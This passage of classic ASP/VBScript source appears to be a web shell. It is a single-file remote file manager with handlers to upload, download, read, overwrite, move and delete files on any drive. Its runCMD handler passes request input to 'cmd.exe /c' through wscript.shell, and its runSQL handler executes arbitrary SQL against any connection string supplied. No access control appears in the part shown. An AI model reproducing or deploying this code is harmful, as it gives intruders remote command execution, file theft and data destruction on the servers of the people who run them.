set myInfo = server.createObject("scripting.dictionary")
|
|
|
|
Set fileObject = fso.GetFolder(folderLocation & folderName)
|
|
fileObject.Name = newName
|
|
if Err.Number <> 0 then
|
|
myInfo.add "error", Err.Number
|
|
myInfo.add "errorDesc", "Unable to rename """ & folderName & """ !" & vbCrLF & Err.Description
|
|
else
|
|
myInfo.add "error", 0
|
|
myInfo.add "errorDesc", ""
|
|
end if
|
|
Err.Clear
|
|
|
|
with myInfo
|
|
.add "folderId", folderId
|
|
.add "newName", newName
|
|
.add "action", "renameFolder"
|
|
.add "folderName", folderName
|
|
.add "msgResponse", "Renamed """ & folderName & """ to """ & """" & newName & """ !"
|
|
end with
|
|
|
|
ajaxRenameFolder = js.toJSON("action", myInfo, true)
|
|
end function
|
|
|
|
|
|
function ajaxCopy()
|
|
on error resume next
|
|
Dim myInfo, targetPath, foldersId, filesId, ndir, nfile, dir, file, itemName, itemPath, gMsg
|
|
|
|
set js = new JSON
|
|
set myInfo = server.createObject("scripting.dictionary")
|
|
|
|
targetPath=addslash(Request("targetPath"))
|
|
|
|
foldersId = Request("foldersId")
|
|
filesId = Request("filesId")
|
|
|
|
ndir=Request("dx").Count
|
|
nfile=Request("fx").Count
|
|
|
|
if (ndir>0) then
|
|
gMsg="Copying folder(s) to """ & targetPath & """ ..."
|
|
For Each dir In Request("dx")
|
|
itemName=dir
|
|
itemPath=folderLocation & itemName
|
|
FSO.CopyFolder itemPath, targetPath, true
|
|
gMsg=gMsg & vbCrLF & "- " & itemName & ": "
|
|
if Err.Number<>0 then
|
|
gMsg=gMsg & "error (" & Err.Description & ")"
|
|
Err.Clear
|
|
else
|
|
gMsg=gMsg & "success"
|
|
end if
|
|
Next
|
|
end if
|
|
|
|
if (nfile>0) then
|
|
if (ndir>0) then gMsg= gMsg & vbCrLF & vbCrLF
|
|
gMsg=gMsg & "Copying file(s) to """ & targetPath & """ ..."
|
|
For Each file In Request("fx")
|
|
itemName=file
|
|
itemPath=folderLocation & itemName
|
|
FSO.CopyFile itemPath, targetPath, true
|
|
gMsg=gMsg & vbCrLF & "- " & itemName & ": "
|
|
if Err.Number<>0 then
|
|
gMsg=gMsg & "error (" & Err.Description & ")"
|
|
Err.Clear
|
|
else
|
|
gMsg=gMsg & "success"
|
|
end if
|
|
Next
|
|
end if
|
|
|
|
if Err.Number <> 0 then
|
|
myInfo.add "error", Err.Number
|
|
myInfo.add "errorDesc", Err.Description & vbCrLF & gMsg
|
|
else
|
|
myInfo.add "error", 0
|
|
myInfo.add "errorDesc", gMsg
|
|
end if
|
|
Err.Clear
|
|
|
|
with myInfo
|
|
.add "action", "copy"
|
|
.add "foldersId", foldersId
|
|
.add "filesId", filesId
|
|
.add "msgResponse", gMsg
|
|
end with
|
|
|
|
ajaxCopy = js.toJSON("action", myInfo, true)
|
|
end function
|
|
|
|
function ajaxMove()
|
|
on error resume next
|
|
Dim myInfo, targetPath, foldersId, filesId, ndir, nfile, dir, file, itemName, itemPath, gMsg
|
|
|
|
set js = new JSON
|
|
set myInfo = server.createObject("scripting.dictionary")
|
|
|
|
targetPath=addslash(Request("targetPath"))
|
|
|
|
foldersId = ""
|
|
filesId = ""
|
|
|
|
ndir=Request("dx").Count
|
|
nfile=Request("fx").Count
|
|
|
|
if (ndir>0) then
|
|
gMsg="Moving folder(s) to """ & targetPath & """ ..."
|
|
For Each dir In Request("dx")
|
|
itemName=dir
|
|
itemPath=folderLocation & itemName
|
|
FSO.MoveFolder itemPath, targetPath
|
|
gMsg=gMsg & vbCrLF & "- " & itemName & ": "
|
|
if Err.Number<>0 then
|
|
gMsg=gMsg & "error (" & Err.Description & ")"
|
|
Err.Clear
|
|
else
|
|
gMsg=gMsg & "success"
|
|
foldersId = foldersId & itemName & "|"
|
|
end if
|
|
Next
|
|
end if
|
|
|
|
if (nfile>0) then
|
|
if (ndir>0) then gMsg= gMsg & vbCrLF & vbCrLF
|
|
gMsg=gMsg & "Moving file(s) to """ & targetPath & """ ..."
|
|
For Each file In Request("fx")
|
|
itemName=file
|
|
itemPath=folderLocation & itemName
|
|
FSO.MoveFile itemPath,targetPath
|
|
gMsg=gMsg & vbCrLF & "- " & itemName & ": "
|
|
if Err.Number<>0 then
|
|
gMsg=gMsg & "error (" & Err.Description & ")"
|
|
Err.Clear
|
|
else
|
|
gMsg=gMsg & "success"
|
|
filesId = filesId & itemName & "|"
|
|
end if
|
|
Next
|
|
end if
|
|
|
|
if Err.Number <> 0 then
|
|
myInfo.add "error", Err.Number
|
|
myInfo.add "errorDesc", Err.Description & vbCrLF & gMsg
|
|
else
|
|
myInfo.add "error", 0
|
|
myInfo.add "errorDesc", gMsg
|
|
end if
|
|
|
|
with myInfo
|
|
.add "action", "move"
|
|
.add "foldersId", foldersId
|
|
.add "filesId", filesId
|
|
.add "msgResponse", gMsg
|
|
end with
|
|
|
|
ajaxMove = js.toJSON("action", myInfo, true)
|
|
end function
|
|
|
|
|
|
function ajaxDelete()
|
|
on error resume next
|
|
Dim myInfo, foldersId, filesId, ndir, nfile, dir, file, itemName, itemPath, gMsg
|
|
|
|
set js = new JSON
|
|
set myInfo = server.createObject("scripting.dictionary")
|
|
|
|
foldersId = ""
|
|
filesId = ""
|
|
|
|
ndir=Request("dx").Count
|
|
nfile=Request("fx").Count
|
|
|
|
if (ndir>0) then
|
|
gMsg="Deleting folder(s) ..."
|
|
For Each dir In Request("dx")
|
|
itemName=dir
|
|
itemPath=folderLocation & itemName
|
|
FSO.DeleteFolder itemPath,true
|
|
gMsg=gMsg & vbCrLF & "- " & itemName & ": "
|
|
if Err.Number<>0 then
|
|
gMsg=gMsg & "error (" & Err.Description & ")"
|
|
Err.Clear
|
|
else
|
|
gMsg=gMsg & "success"
|
|
foldersId = foldersId & itemName & "|"
|
|
end if
|
|
Next
|
|
end if
|
|
|
|
if (nfile>0) then
|
|
if (ndir>0) then gMsg= gMsg & vbCrLF & vbCrLF
|
|
gMsg=gMsg & "Deleting file(s) ..."
|
|
For Each file In Request("fx")
|
|
Err.Clear
|
|
itemName=file
|
|
itemPath=folderLocation & itemName
|
|
FSO.DeleteFile itemPath,true
|
|
gMsg=gMsg & vbCrLF & "- " & itemName & ": "
|
|
if Err.Number<>0 then
|
|
gMsg=gMsg & "error (" & Err.Description & ")"
|
|
Err.Clear
|
|
else
|
|
gMsg=gMsg & "success"
|
|
filesId = filesId & itemName & "|"
|
|
end if
|
|
Next
|
|
end if
|
|
|
|
if Err.Number <> 0 then
|
|
myInfo.add "error", Err.Number
|
|
myInfo.add "errorDesc", Err.Description & vbCrLF & gMsg
|
|
else
|
|
myInfo.add "error", 0
|
|
myInfo.add "errorDesc", gMsg
|
|
end if
|
|
|
|
with myInfo
|
|
.add "action", "delete"
|
|
.add "foldersId", foldersId
|
|
.add "filesId", filesId
|
|
.add "msgResponse", gMsg
|
|
end with
|
|
|
|
ajaxDelete = js.toJSON("action", myInfo, true)
|
|
end function
|
|
|
|
function ajaxRunSQL()
|
|
on error resume next
|
|
Dim myInfo, connection, command, rHeader
|
|
dim adoCon, rS
|
|
dim i,intAffected
|
|
|
|
connection=request.form("connection")
|
|
command=request.form("command")
|
|
intAffected = -1
|
|
|
|
set js = new JSON
|
|
set myInfo = server.createObject("scripting.dictionary")
|
|
set adoCon=Server.CreateObject("ADODB.Connection")
|
|
adoCon.Open connection
|
|
|
|
if Err.Number<>0 then
|
|
myInfo.add "error", Err.Number
|
|
myInfo.add "errorDesc", Err.Description
|
|
else
|
|
set rS=adoCon.Execute(command, intAffected)
|
|
|
|
if Err.Number<>0 then
|
|
myInfo.add "error", Err.Number
|
|
myInfo.add "errorDesc", Err.Description
|
|
else
|
|
myInfo.add "error", 0
|
|
myInfo.add "errorDesc", ""
|
|
'myInfo.add "msgResponse", "SQL Command Execute Successful !"
|
|
end if
|
|
|
|
if (rS.Fields.Count>0) then
|
|
redim rHeader(rS.Fields.Count-1)
|
|
for i=0 to rS.Fields.Count-1
|
|
if (rS.Fields(i).Name="") then
|
|
rHeader(i) = "(No column name)"
|
|
else
|
|
rHeader(i) = Server.HtmlEncode(rS.Fields(i).Name)
|
|
end if
|
|
next
|
|
else
|
|
rS = ""
|
|
rHeader = ""
|
|
end if
|
|
end if
|
|
|
|
|
|
with myInfo
|
|
.add "action", "runSQL"
|
|
.add "affected", intAffected
|
|
.add "header", rHeader
|
|
.add "data", rS
|
|
end with
|
|
|
|
set rS=nothing
|
|
set adoCon=nothing
|
|
|
|
ajaxRunSQL = js.toJSON("action", myInfo, true)
|
|
end function
|
|
|
|
function ajaxRunCMD()
|
|
on error resume next
|
|
Dim myInfo, command, returnContent
|
|
|
|
command=request.form("command")
|
|
returnContent = ""
|
|
|
|
set js = new JSON
|
|
set myInfo = server.createObject("scripting.dictionary")
|
|
returnContent = server.createobject("wscript.shell").exec("cmd.exe /c "&command).stdout.readall
|
|
if Err.Number <> 0 then
|
|
myInfo.add "error", Err.Number
|
|
myInfo.add "errorDesc", Err.Description
|
|
else
|
|
myInfo.add "error", 0
|
|
myInfo.add "errorDesc", ""
|
|
end if
|
|
|
|
with myInfo
|
|
.add "action", "runCMD"
|
|
.add "returnContent", returnContent
|
|
end with
|
|
|
|
ajaxRunCMD = js.toJSON("action", myInfo, true)
|
|
end function
|
|
|
|
function ajaxLoadFile()
|
|
on error resume next
|
|
Dim myInfo, itemPath, itemContent, f, f1
|
|
|
|
itemPath=request.form("itemPath")
|
|
itemContent = ""
|
|
|
|
set js = new JSON
|
|
set myInfo = server.createObject("scripting.dictionary")
|
|
set f = FSO.getFile(itemPath)
|
|
|
|
if (f.size > 0 and f.size < 512000) then
|
|
set f1 = FSO.OpenTextFile(itemPath, 1)
|
|
itemContent = f1.readAll
|
|
end if
|
|
|
|
if Err.Number <> 0 then
|
|
myInfo.add "error", Err.Number
|
|
myInfo.add "errorDesc", Err.Description
|
|
else
|
|
myInfo.add "error", 0
|
|
myInfo.add "errorDesc", ""
|
|
end if
|
|
|
|
with myInfo
|
|
.add "action", "loadFile"
|
|
.add "itemPath", itemPath
|
|
.add "itemSize", f.size
|
|
.add "itemSizeText", FormatSize(f.size)
|
|
.add "itemContent", itemContent
|
|
end with
|
|
|
|
ajaxLoadFile = js.toJSON("action", myInfo, true)
|
|
end function
|
|
|
|
|
|
function ajaxSaveFile()
|
|
on error resume next
|
|
Dim myInfo, itemPath, itemContent, saveMode, f1, gMsg
|
|
|
|
itemPath=request.form("itemPath")
|
|
itemContent = request.form("itemContent")
|
|
saveMode = request.form("saveMode")
|
|
gMsg = ""
|
|
|
|
if(saveMode <> 8) then
|
|
saveMode = 2
|
|
end if
|
|
|
|
set js = new JSON
|
|
set myInfo = server.createObject("scripting.dictionary")
|
|
set f1 = FSO.OpenTextFile(itemPath,saveMode,true,false)
|
|
|
|
f1.Write(itemContent)
|
|
f1.close
|
|
|
|
if Err.Number<>0 then
|
|
gMsg="Unable to write to the file """ & itemPath & """, an error occured..."
|
|
else
|
|
gMsg="File saved !"
|
|
end if
|
|
|
|
if Err.Number <> 0 then
|
|
myInfo.add "error", Err.Number
|
|
myInfo.add "errorDesc", Err.Description & vbCrLF & gMsg
|
|
else
|
|
myInfo.add "error", 0
|
|
myInfo.add "errorDesc", ""
|
|
end if
|
|
|
|
with myInfo
|
|
.add "action", "saveFile"
|
|
.add "saveMode", saveMode
|
|
.add "itemPath", itemPath
|
|
end with
|
|
|
|
ajaxSaveFile = js.toJSON("action", myInfo, true)
|
|
end function
|
|
|
|
function ajaxNewFile()
|
|
on error resume next
|
|
Dim myInfo, itemName, itemPath, gMsg, newItem, f1
|
|
|
|
itemName=request.form("itemName")
|
|
itemPath=folderLocation & itemName
|
|
|
|
set js = new JSON
|
|
set myInfo = server.createObject("scripting.dictionary")
|
|
|
|
if (FSO.FolderExists(itemPath)=false) and (FSO.FileExists(itemPath)=false) then
|
|
FSO.CreateTextFile(itemPath)
|
|
if Err.Number<>0 then
|
|
gMsg="Unable to create the file """ & itemName & """, an error occured..."
|
|
myInfo.add "error", Err.Number
|
|
else
|
|
gMsg="Created the file """ & itemName & """..."
|
|
myInfo.add "error", 0
|
|
end if
|
|
else
|
|
gMsg="Unable to create the file """ & itemName & """, there exists a file or a folder with the same name..."
|
|
myInfo.add "error", 1
|
|
end if
|
|
|
|
if Err.Number <> 0 then
|
|
myInfo.add "errorDesc", Err.Description & vbCrLF & gMsg
|
|
else
|
|
myInfo.add "errorDesc", gMsg
|
|
end if
|
|
|
|
Set f1 = FSO.GetFile(itemPath)
|
|
|
|
newItem = f1.name & "|" & FormatSize(f1.size) & "|" & f1.type & "|" & replace(f1.DateLastModified, "/", "-") & "|" & replace(f1.DateCreated, "/", "-")
|
|
|
|
with myInfo
|
|
.add "action", "newFile"
|
|
.add "itemName", itemName
|
|
.add "msgResponse", gMsg
|
|
.add "newItem", newItem
|
|
end with
|
|
|
|
ajaxNewFile = js.toJSON("action", myInfo, true)
|
|
end function
|
|
|
|
function ajaxNewFolder()
|
|
on error resume next
|
|
Dim myInfo, itemName, itemPath, gMsg, newItem, f1
|
|
|
|
itemName=request.form("itemName")
|
|
itemPath=folderLocation & itemName
|
|
|
|
set js = new JSON
|
|
set myInfo = server.createObject("scripting.dictionary")
|
|
set newItem = server.createObject("scripting.dictionary")
|
|
|
|
if (FSO.FolderExists(itemPath)=false) and (FSO.FileExists(itemPath)=false) then
|
|
FSO.CreateFolder(itemPath)
|
|
if Err.Number<>0 then
|
|
gMsg="Unable to create the folder """ & itemName & """, an error occured..."
|
|
myInfo.add "error", Err.Number
|
|
else
|
|
gMsg="Created the folder """ & itemName & """..."
|
|
myInfo.add "error", 0
|
|
end if
|
|
else
|
|
gMsg="Unable to create the folder """ & itemName & """, there exists a file or a folder with the same name..."
|
|
myInfo.add "error", 1
|
|
end if
|
|
|
|
if Err.Number <> 0 then
|
|
myInfo.add "errorDesc", Err.Description & vbCrLF & gMsg
|
|
else
|
|
myInfo.add "errorDesc", gMsg
|
|
end if
|
|
|
|
Set f1 = FSO.GetFolder(itemPath)
|
|
|
|
newItem = f1.name & "|" & replace(f1.DateLastModified, "/", "-") & "|" & replace(f1.DateCreated, "/", "-")
|
|
|
|
with myInfo
|
|
.add "action", "newFolder"
|
|
.add "itemName", itemName
|
|
.add "msgResponse", gMsg
|
|
.add "newItem", newItem
|
|
end with
|
|
|
|
ajaxNewFolder = js.toJSON("action", myInfo, true)
|
|
end function
|
|
|
|
function filesfoldersList()
|
|
on error resume next
|
|
Dim f, fc, f1, counter, counterId, endId, myFolderList(), myFileList(), itemStart, itemEnd, myInfo, totalFiles, totalFolders, counterItems
|
|
|
|
set js = new JSON
|
|
set myInfo = server.createObject("scripting.dictionary")
|
|
Set f = FSO.GetFolder(folderLocation)
|
|
call ErrHandle("lstResponse")
|
|
itemStart=request.form("itemStart")
|
|
|
|
if(itemStart = "" or itemStart = "0") then
|
|
itemStart = 1
|
|
else
|
|
itemStart = Cint(itemStart)
|
|
end if
|
|
|
|
itemEnd = itemStart + 199
|
|
|
|
if(itemStart = 1) then
|
|
Set fc = f.SubFolders
|
|
counter = 1
|
|
|
|
Redim myFolderList(0)
|
|
myFolderList(0) = "noxxxinfo"
|
|
|
|
For Each f1 In fc
|
|
Redim preserve myFolderList(counter)
|
|
myFolderList(counter) = f1.name & "|" & replace(f1.DateLastModified, "/", "-") & "|" & replace(f1.DateCreated, "/", "-")
|
|
counter=counter+1
|
|
Next
|
|
Session("myFolderList") = myFolderList
|
|
|
|
Set fc = f.Files
|
|
counter = 1
|
|
|
|
Redim myFileList(0)
|
|
myFileList(0) = "noxxxinfo"
|
|
|
|
For Each f1 In fc
|
|
Redim preserve myFileList(counter)
|
|
myFileList(counter) = f1.name & "|" & FormatSize(f1.size) & "|" & f1.type & "|" & replace(f1.DateLastModified, "/", "-") & "|" & replace(f1.DateCreated, "/", "-")
|
|
counter=counter+1
|
|
Next
|
|
Session("myFileList") = myFileList
|
|
end if
|
|
|
|
totalFolders = UBound(Session("myFolderList"))
|
|
totalFiles = UBound(Session("myFileList"))
|
|
|
|
call ErrHandle("lstResponse")
|
|
|
|
Redim myFolderList(0)
|
|
myFolderList(0) = "noxxxinfo"
|
|
|
|
Redim myFileList(0)
|
|
myFileList(0) = "noxxxinfo"
|
|
counterItems = 0
|
|
|
|
if(itemStart <= totalFolders) then
|
|
if(totalFolders <= itemEnd) then
|
|
endId = totalFolders
|
|
else
|
|
endId = itemEnd
|
|
end if
|
|
counter = 0
|
|
For counterId = itemStart to endId
|
|
Redim preserve myFolderList(counter)
|
|
myFolderList(counter) = Session("myFolderList")(counterId)
|
|
counter=counter+1
|
|
counterItems = counterItems + 1
|
|
Next
|
|
end if
|
|
|
|
if(itemStart + counterItems <= totalFolders + totalFiles) then
|
|
if(totalFolders + totalFiles <= itemEnd) then
|
|
endId = totalFiles
|
|
else
|
|
endId = itemEnd - totalFolders
|
|
end if
|
|
'Response.Write itemStart + counterItems - totalFolders & " - " & endId
|
|
counter = 0
|
|
For counterId = itemStart + counterItems - totalFolders to endId
|
|
Redim preserve myFileList(counter)
|
|
myFileList(counter) = Session("myFileList")(counterId)
|
|
counter=counter+1
|
|
counterItems = counterItems + 1
|
|
Next
|
|
end if
|
|
|
|
if(itemEnd >= totalFolders + totalFiles) then
|
|
myInfo.add "finished", true
|
|
else
|
|
myInfo.add "finished", false
|
|
end if
|
|
|
|
with myInfo
|
|
.add "totalFolders", totalFolders
|
|
.add "totalFiles", totalFiles
|
|
.add "itemStart", itemStart
|
|
end with
|
|
|
|
filesfoldersList = js.toJSON("status", myInfo, true) & "," & js.toJSON("folders", myFolderList, true) & "," & js.toJSON("files", myFileList, true)
|
|
end function
|
|
|
|
SELECT CASE mode
|
|
CASE "explorer"
|
|
ajaxExplorer()
|
|
Response.end
|
|
|
|
CASE "mapDriver"
|
|
Response.Write "actionResponse = {"
|
|
Response.Write ajaxMapDriver()
|
|
Response.Write "};"
|
|
Response.End
|
|
|
|
CASE "removeDriver"
|
|
Response.Write "actionResponse = {"
|
|
Response.Write ajaxRemoveDriver()
|
|
Response.Write "};"
|
|
Response.End
|
|
|
|
CASE "newFile"
|
|
Response.Write "actionResponse = {"
|
|
Response.Write ajaxNewFile()
|
|
Response.Write "};"
|
|
Response.End
|
|
|
|
CASE "newFolder"
|
|
Response.Write "actionResponse = {"
|
|
Response.Write ajaxNewFolder()
|
|
Response.Write "};"
|
|
Response.End
|
|
|
|
CASE "copy"
|
|
Response.Write "actionResponse = {"
|
|
Response.Write ajaxCopy()
|
|
Response.Write "};"
|
|
Response.End
|
|
|
|
CASE "move"
|
|
Response.Write "actionResponse = {"
|
|
Response.Write ajaxMove()
|
|
Response.Write "};"
|
|
Response.End
|
|
|
|
CASE "delete"
|
|
Response.Write "actionResponse = {"
|
|
Response.Write ajaxDelete()
|
|
Response.Write "};"
|
|
Response.End
|
|
|
|
CASE "runSQL"
|
|
Response.Write "actionResponse = {"
|
|
Response.Write ajaxRunSQL()
|
|
Response.Write "};"
|
|
Response.End
|
|
|
|
CASE "runCMD"
|
|
Response.Write "actionResponse = {"
|
|
Response.Write ajaxRunCMD()
|
|
Response.Write "};"
|
|
Response.End
|
|
|
|
CASE "loadFile"
|
|
Response.Write "actionResponse = {"
|
|
Response.Write ajaxLoadFile()
|
|
Response.Write "};"
|
|
Response.End
|
|
|
|
CASE "saveFile"
|
|
Response.Write "actionResponse = {"
|
|
Response.Write ajaxSaveFile()
|
|
Response.Write "};"
|
|
Response.End
|
|
|
|
CASE "renameFile"
|
|
Response.Write "actionResponse = {"
|
|
Response.Write ajaxRenameFile()
|
|
Response.Write "};"
|
|
Response.End
|
|
|
|
CASE "renameFolder"
|
|
Response.Write "actionResponse = {"
|
|
Response.Write ajaxRenameFolder()
|
|
Response.Write "};"
|
|
Response.End
|
|
|
|
CASE "script"
|
|
on error resume next
|
|
Response.contenttype="application/x-javascript"
|
|
Response.CacheControl = "Public"
|
|
Response.Write Base64Decode(script)
|
|
Response.end
|
|
|
|
CASE "style"
|
|
on error resume next
|
|
Response.contenttype="text/css"
|
|
Response.CacheControl = "Public"
|
|
Response.Write Base64Decode(media_style)
|
|
Response.end
|
|
|
|
CASE "download"
|
|
on error resume next
|
|
Dim file
|
|
Response.Buffer=True
|
|
file = Request("file")
|
|
DownloadFile folderLocation & file
|
|
Response.end
|
|
|
|
CASE "image"
|
|
on error resume next
|
|
Dim imgId
|
|
Response.ContentType="image/gif"
|
|
Response.CacheControl = "Public"
|
|
imgId = Request("imgid")
|
|
SELECT CASE imgId
|
|
CASE "loading"
|
|
Response.BinaryWrite Base64ToBSTR(img_loading)
|
|
CASE "dir"
|
|
Response.BinaryWrite Base64ToBSTR(img_dir)
|
|
CASE "lvup"
|
|
Response.BinaryWrite Base64ToBSTR(img_lvUp)
|
|
CASE "txt"
|
|
Response.BinaryWrite Base64ToBSTR(img_txt)
|
|
CASE "img"
|
|
Response.BinaryWrite Base64ToBSTR(img_img)
|
|
CASE ELSE
|
|
Response.BinaryWrite Base64ToBSTR(img_unknow)
|
|
END SELECT
|
|
Response.end
|
|
|
|
CASE "view"
|
|
on error resume next
|
|
Dim extimg, Fil, imagePath
|
|
Response.Buffer=True
|
|
imagePath = Request("imagePath")
|
|
|
|
If(Ucase(FSO.GetExtensionName(imagePath)) = "JPG" or Ucase(FSO.GetExtensionName(imagePath)) = "JPEG" or Ucase(FSO.GetExtensionName(imagePath)) = "JPE") Then
|
|
extimg = "image/jpeg"
|
|
Elseif(Ucase(FSO.GetExtensionName(imagePath)) = "GIF") Then
|
|
extimg = "image/gif"
|
|
Elseif(Ucase(FSO.GetExtensionName(imagePath)) = "BMP") Then
|
|
extimg = "image/bmp"
|
|
Else
|
|
extimg = "image/png"
|
|
End if
|
|
Set Fil = FSO.GetFile(imagePath)
|
|
Response.ContentType=extimg
|
|
Response.CacheControl = "Public"
|
|
'Response.AddHeader "Content-Length", Fil.Size
|
|
Response.BinaryWrite readBinaryFile(Fil.path)
|
|
Set Fil = Nothing
|
|
Response.end
|
|
END SELECT
|
|
|
|
if(mode = "upload") then
|
|
|
|
dim linkBack
|
|
|
|
Response.Write "<html>"
|
|
Response.Write "<head>"
|
|
Response.Write "<title>" & aspTitle & "</title>"
|
|
Response.Write "<meta http-equiv=""Content-Type"" content=""text/html; charset=utf-8"">"
|
|
Response.Write "<META HTTP-EQUIV=""Pragma"" CONTENT=""no-cache"">"
|
|
Response.Write "<META HTTP-EQUIV=""Expires"" CONTENT=""-1"">"
|
|
|
|
Response.Write "<link rel=""stylesheet"" href=""?mode=style"" type=""text/css"" />"
|
|
Response.Write "</head>"
|
|
Response.Write "<body>"
|
|
|
|
Response.Write "<div align=""center"">"
|
|
Response.Write "<table cellpadding=""2"" cellspacing=""2"" width=""500"">"
|
|
Response.Write "<thead width=""100%"" align=""center"">"
|
|
Response.Write " <td class=""kbrtm"" align=""center"" colspan=""2""><b>File Upload</b></td>"
|
|
Response.Write "</thead>"
|
|
|
|
linkBack = Upload(folderLocation)
|
|
|
|
Response.Write "<TR><TD align='center' class=""kbrtm""><A href="""& linkBack &""">[Back]</A></TD></TR>"
|
|
Response.Write "</table>"
|
|
Response.Write "</div>"
|
|
|
|
Response.Write "</body>"
|
|
Response.Write "</html>"
|
|
|
|
Response.End
|
|
end if
|
|
|
|
Dim drive_, driversText
|
|
for each drive_ in FSO.Drives
|
|
driversText = driversText & "<tr id=""driver" & drive_.DriveLetter & """><td class=""kbrtm"">"
|
|
driversText = driversText & "<a href="""&FilePath&"#Explorer|"&drive_.DriveLetter&":\"">"
|
|
if drive_.Drivetype=1 then driversText = driversText & " Floppy Drive"
|
|
if drive_.Drivetype=2 then driversText = driversText & " Hard Disk"
|
|
if drive_.Drivetype=3 then driversText = driversText & " Network Drive"
|
|
if drive_.Drivetype=4 then driversText = driversText & " Cd-Rom"
|
|
driversText = driversText & " [" & drive_.DriveLetter & ":]</a>"
|
|
if drive_.Drivetype=3 then driversText = driversText & " <a href=""javascript:removeDriver('" & drive_.DriveLetter & "');"">[Remove]</a>"
|
|
driversText = driversText & "</td></tr>"
|
|
next
|
|
|
|
Response.Write "<html>"
|
|
Response.Write "<head>"
|
|
Response.Write "<title>" & aspTitle & "</title>"
|
|
Response.Write "<meta http-equiv=""Content-Type"" content=""text/html; charset=utf-8"">"
|
|
Response.Write "<META HTTP-EQUIV=""Pragma"" CONTENT=""no-cache"">"
|
|
Response.Write "<META HTTP-EQUIV=""Expires"" CONTENT=""-1"">"
|
|
|
|
Response.Write "<link rel=""stylesheet"" href=""?mode=style"" type=""text/css"" />"
|
|
Response.Write "<script src=""?mode=script"" type=""text/javascript""></script>"
|
|
Response.Write "<script type=""text/javascript"">"
|
|
Response.Write "ffList = {"
|
|
Response.Write ajaxInfo()
|
|
Response.Write "};"
|
|
Response.Write "</script>"
|
|
Response.Write "</head>"
|
|
Response.Write "<body onload=""startLoad()"">"
|
|
|
|
Response.Write "<div id=""container"" align=""center"">"
|
|
|
|
Response.Write "<div id=""tblHead"" align=""center""><P> </P>"
|
|
Response.Write "<form onSubmit=""window.location.href = '#Explorer|'+getId('remote').value.addSlash();return false;"" method=""post"">"
|
|
Response.Write "<table cellpadding=""0"" cellspacing=""0""><tr><td style=""background-color:121212"" class=""kbrtm""> <b>Location :</b> </td><td><input name=""remote"" id=""remote"" value='' type=""text"" style=""width:350px;""></td><td><input type=""Submit"" value=""Go »"" style=""width:50; font-weight:bold;""></td></tr></table>"
|
|
Response.Write "</form>"
|
|
Response.Write "<P> </P>"
|
|
Response.Write "</div>"
|
|
|
|
Response.Write "<div id=""tblErr"" style=""display:none"" align=""center"">"
|
|
Response.Write "<table cellpadding=""2"" cellspacing=""2"" width=""500"">"
|
|
Response.Write "<thead width=""100%"" align=""center"">"
|
|
Response.Write " <td class=""kbrtm"" style=""background-color:121212"" align=""center"" colspan=""2""><b>Error !!!</b></td>"
|
|
Response.Write "</thead>"
|
|
Response.Write "<tbody bgcolor=""#3a3a3a"">"
|
|
Response.Write "<TR>"
|
|
Response.Write " <TD width=""20%"" class=""kbrtm"" id=""errCode""> </TD>"
|
|
Response.Write " <TD width=""80%"" class=""kbrtm""><font id=""errDesc"" color=""red""> </font></TD>"
|
|
Response.Write "</TR>"
|
|
Response.Write "</tbody>"
|
|
Response.Write "</table>"
|
|
Response.Write "<BR> </BR>"
|
|
Response.Write "</div>"
|
|
|
|
|
|
Response.Write "<div align=""center"">"
|
|
Response.Write "<font id=""ffNo"" style=""font-weight:bold;color:orange;display:none;"">Total : <span style=""color:red;"" id=""totalFolders"">0</span> folder(s) and <span style=""color:red;"" id=""totalFiles"">0</span> file(s)<BR><span style=""color:red;"" id=""folderNo"">0</span> folder(s) and <span style=""color:red;"" id=""fileNo"">0</span> file(s) listed ! <input type=""button"" id=""btLoadmore"" onClick=""loadMore();"" value=""[Load More]"" style=""display:none;font-weight:bold;""></font><BR> "
|
|
Response.Write "<table id=""tblContent"" cellpadding=""0px"" cellspacing=""1px"" width=""95%"" style=""border:1px solid #5d5d5d;min-width:1280;"">"
|
|
Response.Write "<thead width=""100%"" class=""tableHead"" align=""center"">"
|
|
Response.Write "<tr>"
|
|
Response.Write " <TD class=""fname""><b>Name</b></TD>"
|
|
Response.Write " <TD class=""fsize""><b>Size</b></TD>"
|
|
Response.Write " <TD class=""ftype""><b>Type</b></TD>"
|
|
Response.Write " <TD class=""fdate""><b>Date Last Modified</b></TD>"
|
|
Response.Write " <TD class=""fdate""><b>Date Created</b></TD>"
|
|
Response.Write " <TD class=""faction"" colspan=""3""><b>Action</b></TD>"
|
|
Response.Write "</tr>"
|
|
Response.Write "</thead>"
|
|
Response.Write "<tbody id=""tblList"" bgcolor=""#3a3a3a"">"
|
|
Response.Write "</tbody>"
|
|
Response.Write "<tbody id=""tblCommand"" width=""100%"">"
|
|
Response.Write "<tr>"
|
|
Response.Write " <TD> </TD>"
|
|
Response.Write " <TD></TD>"
|
|
Response.Write " <TD></TD>"
|
|
Response.Write " <TD></TD>"
|
|
Response.Write " <TD></TD>"
|
|
Response.Write " <TD align=""center""><input type='checkbox' title='Select All' class='xcheck' name='checkboxAll' onClick='checkAll(this);' value='all'></TD>"
|
|
Response.Write " <TD align=""center""><input type=""button"" onClick=""Delete();"" value=""Delete »"" style=""font-weight:bold;""></TD>"
|
|
Response.Write " <TD></TD>"
|
|
Response.Write "</tr>"
|
|
Response.Write "</tbody>"
|
|
Response.Write "<tbody width=""100%"">"
|
|
Response.Write "<tr>"
|
|
Response.Write " <TD><input type=""button"" onClick=""newFolder();"" value=""New Folder »"" style=""font-weight:bold;""> <input type=""button"" onClick=""newFile();"" value=""New File »"" style=""font-weight:bold;""> <input type=""button"" onClick=""window.location.href='#Upload|'+ffList.info.path.addSlash();"" value=""Upload »"" style=""font-weight:bold;""></TD>"
|
|
Response.Write "<form onSubmit=""CopyMove('copy', getId('remoteCopy').value);return false;"">"
|
|
Response.Write " <TD align=""right"" colspan=""2"">Copy selected item(s) to :</TD>"
|
|
Response.Write " <TD colspan=""2""><input name=""remoteCopy"" id=""remoteCopy"" value='' type=""text"" style=""width:250px;""><input type=""submit"" value=""Go »"" style=""width:50; font-weight:bold;""></TD>"
|
|
Response.Write "</form>"
|
|
Response.Write " <TD colspan=""3""></TD>"
|
|
Response.Write "</tr>"
|
|
Response.Write "</tbody>"
|
|
Response.Write "<tbody width=""100%"">"
|
|
Response.Write "<tr>"
|
|
Response.Write " <TD> </TD>"
|
|
Response.Write "<form onSubmit=""CopyMove('move', getId('remoteMove').value);return false;"">"
|
|
Response.Write " <TD align=""right"" colspan=""2"">Move selected item(s) to :</TD>"
|
|
